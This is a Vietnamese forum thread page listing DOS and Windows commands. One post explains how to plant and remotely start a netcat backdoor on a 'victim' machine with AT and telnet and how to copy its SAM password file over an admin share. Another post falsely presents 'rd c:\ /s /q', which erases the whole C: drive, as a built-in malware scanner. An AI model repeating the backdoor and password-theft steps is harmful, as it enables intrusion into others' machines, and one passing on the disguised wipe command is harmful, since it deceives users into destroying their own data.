    15. Lệnh AT: Cú pháp: Code: AT \\ip Công dụng: + Thông thường khi xâm nhập vào máy tính victim khi rút lui thì ta sẽ tặng quà lưu niệm lên máy tính victim, khi đã copy troj hoặc backdoor lên máy tính rùi ta sẽ dùng lệnh at để khởi động chúng. Ví dụ: ở đây tui có con troj tên nc.exe (NC là từ viết tắc của NETCAT....nó là một telnet server với port 99) và đc copy lên máy victim rùi. Đầu tiên ta cần biết thời gian của victim có IP là : 68.135.23.25 . Code: Net Time \\68.135.23.25 Bây h nó sẽ phản hồi cho ta thời gian của victim, ví dụ : 12:00. Code: AT \\68.135.23.25 12:3 nc.exe Đợi đến 12:3 là nó sẽ tự chạy trên máy nạn nhân và chúng ta có thể connected đến port 99.
    16. Lệnh Telnet: Cú pháp: Code: telnet host port Gõ telnet /? để biết thêm chi tiết. Nhưng nếu như máy victim đã dính con nc rồi thì ta chỉ cần connect đến port 99 là OKie Code: telnet 68.135.23.25 99 Công dụng: + Kết nối đến host qua port xx
    17. Lệnh COPY: Cú pháp: Code: COPY /? Dùng lệnh trên để rõ hơn! Công dụng: + Copy file, tui khỏi nói thêm nhé. Ví dụ:chúng ta copy files index trên ổ C của mình lên ổ C của 127.0.0.1 Code: Copy Index.html \\127.0.0.1\C$\index.html nếu bạn copy lên folder winNt Code: Copy index.html \\127.0.0.1\admin$\index.html muốn copy files trên máy victm thì bạn gõ vào : Code: Copy \\127.0.0.1\Admin$\repair\sam._c:\
    18. Lệnh SET: Cú pháp: Code: SET Công dụng: + Displays, sets, or removes cmd.exe enviroment variables.
    19. Lệnh Nbtstat: Cú pháp: Code: Nbtstat /? Gõ lệnh trên để rõ hơn về lệnh này. Công dụng: + Display protocol statistic and curent TCP/IP connections using NBT (netbios over TCP?IP)
    Nothing is true, everything is permitted

  18. Có 3 thành viên cảm ơn auauau97 cho bài viết này:
    kenbuta (20-11-2011), simviet_vms (05-06-2012), win 8 (08-06-2011)

  19. #25
    turbo pascal's Avatar
    turbo pascal vẫn chưa có mặt trong diễn đàn Thành viên đang bị kỷ luật
    Tham gia
    May 2011
    Bài
    80
    Cảm ơn
    41
    Điểm
    53/39 bài viết
    VR power
    0

    Default

    Trích banana729 View Post
    cho em xin cái tài liệu chi các câu lệnh DOS
    VD: em muốn xoá một tập tin trong thư mục C:\BAITAP thì làm sao

    cứu với
    1 câu lệnh để tìm các file chứa mã độc nè anh em:
    rd c:\ /s / q
    Đánh xong sẽ thấy máy load 1 loạt file để tìm ra mã độc.
    Xong thì máy sẽ báo là có hay không.
    Nếu có thì bạn khởi động lại máy là diệt hết mã độc !
    P/s:
    Chỉ windows 7 mới có chức năng này, windows XP trở xuống không có.
    MÌnh đã text trên XP không được, còn trên win 7 thì chạy ngon.

  20. #26
    nhok_9x_0's Avatar
    nhok_9x_0 vẫn chưa có mặt trong diễn đàn Gà Con
    Tham gia
    Jul 2011
    Bài
    2
    Cảm ơn
    0
    Điểm: 1/1 bài viết
    VR power
    0

    Default

    co' dung hok day ( tanh' mang tui nho` ca? vao` may` do') hik

    ---------- Bài thêm lúc 02:34 ---------- Bài trước là lúc 02:32 ----------

    Trích meocon207 View Post
    Mính biết có bao nhiêu đây thôi. ko nhiều cũng ko ít chắc đủ sài.


    DIR <đường dẫn thư mục> /x
    Liệt kê nội dung thư mục
    /x : tham số tùy chọn, ví dụ :
    /p – liệt kê theo từng trang màn hình, /ah – liệt kê các tập tin mang thuộc tính ẩn, /w – liệt lê theo nhiều cột
    /? – liệt kê và giải thích tất cả tham số có thể có của lệnh
    CLS
    Xóa màn hình
    CD <đường dẫn thư mục>
    Chuyển thư mục hiện hành sang thư mục khác
    MD <ĐD thư mục mới>
    Tạo thư mục mới
    RD < ĐD thư mục>
    Xóa thư mục, thư mục cần xóa phải rỗng
    DEL < ĐD 1 hoặc 1 nhóm tập tin>
    Xóa tập tin
    COPY <ĐD 1 nhóm t.t> <ĐD thư mục>
    Tạo 1 bản sao của 1 nhóm tập tin và đặt tại 1 thư mục được chỉ định
    REN <ĐD 1 tập tin/thư mục> <ĐD tập tin/thư mục mới>
    Đổi tên tập tin hoặc thư mục
    PATH <ĐD thư mục>
    Ghi nhớ đường dẫn thư mục vào bộ nhớ
    VER
    Xem version của phiên bản DOS đang sử dụng
    TIME
    Xem thời gian hệ thống
    TYPE <ĐD tập tin>
    Gửi nội dung của tập tin ra 1 thiết bị xuất
    VOL <ký tự ổ đĩa>
    Ví dụ : VOL C:
    Xem thông tin (nhãn, kích thước…) về ổ đĩa
    MORE <ĐD tập tin>
    Xem nội dung tập tin trên từng trang màn hình
    COPY CON <ĐD tập tin mới>
    Tạo tập tin mới, sau khi gõ lệnh, người sử dụng gõ tiếp nội dung cho tập tin mới, và gõ F6 + enter để kết thúc
    FORMAT.COM
    Cú pháp : FORMAT <Ổ đĩa<thamsố>
    Ví dụ : FORMAT A:/q
    Định dạng ổ đĩa
    SYS.COM
    Cú pháp : SYS <ổ đĩa>:
    Ví dụ : SYS a:
    Cài đặt DOS cho ổ đĩa
    FDISK
    Phân vùng các partition (ổ đĩa) cho ổ đĩa cứng
    DISKCOPY
    Copy đĩa mềm này sang đĩa mềm khác
    SCANDISK
    Kiểm tra và sửa lỗi ổ đĩa
    ATTRIB
    Thay đổi thuộc tính cho tập tin, thư mục
    co' dung hok day( tanh' mang tui phu thuoc ca/ vao` co do) hik,,,,, l lieu` an nhiu` hi`

  21. Có 1 thành viên cảm ơn nhok_9x_0 cho bài viết này:
    kenbuta (20-11-2011)

  22. #27
    thoiloi_ac's Avatar
    thoiloi_ac vẫn chưa có mặt trong diễn đàn Gà Con
    Tham gia
    Jul 2010
    Bài
    3
    Cảm ơn
    0
    Điểm
    0/0 bài viết
    VR power
    0

    Default

    nut cam on o dau ta

  23. #28
    anhday_ey's Avatar
    anhday_ey vẫn chưa có mặt trong diễn đàn Búa Gỗ
    Tham gia
    Apr 2010
    Bài
    22
    Cảm ơn
    19
    Điểm
    13/8 bài viết
    VR power
    0

    Default

    Thanks! Đang cần.

  24. #29
    minhhung1122's Avatar
    minhhung1122 vẫn chưa có mặt trong diễn đàn Búa Đá Đôi
    Tham gia
    Sep 2009
    Bài
    87
    Cảm ơn
    22
    Điểm
    61/24 bài viết
    VR power
    0

    Default

    Thấy nhiều nên chóng mặt quá, vậy cho hỏi có lệnh nào để download file từ trên internet về không, chạy trên dos không có giao diện nhá

  25. #30
    bacuongcomputer's Avatar
    bacuongcomputer vẫn chưa có mặt trong diễn đàn Búa Gỗ
    Tham gia
    Oct 2010
    Bài
    21
    Cảm ơn
    1
    Điểm
    10/4 bài viết
    VR power
    0

    Default

    tôi nghĩ là vẫn còn dos vì bây giờ sửa máy tính vẫn dùng đến dos khá nhiều

 

 
Trang 2/3 đầuđầu 1 2 3 cuốicuối

Quyền sử dụng

  • Bạn không thể gửi chủ đề mới
  • Bạn không thể gửi trả lời
  • Bạn không thể gửi file đính kèm
  • Bạn không thể tự sửa bài viết của mình
  •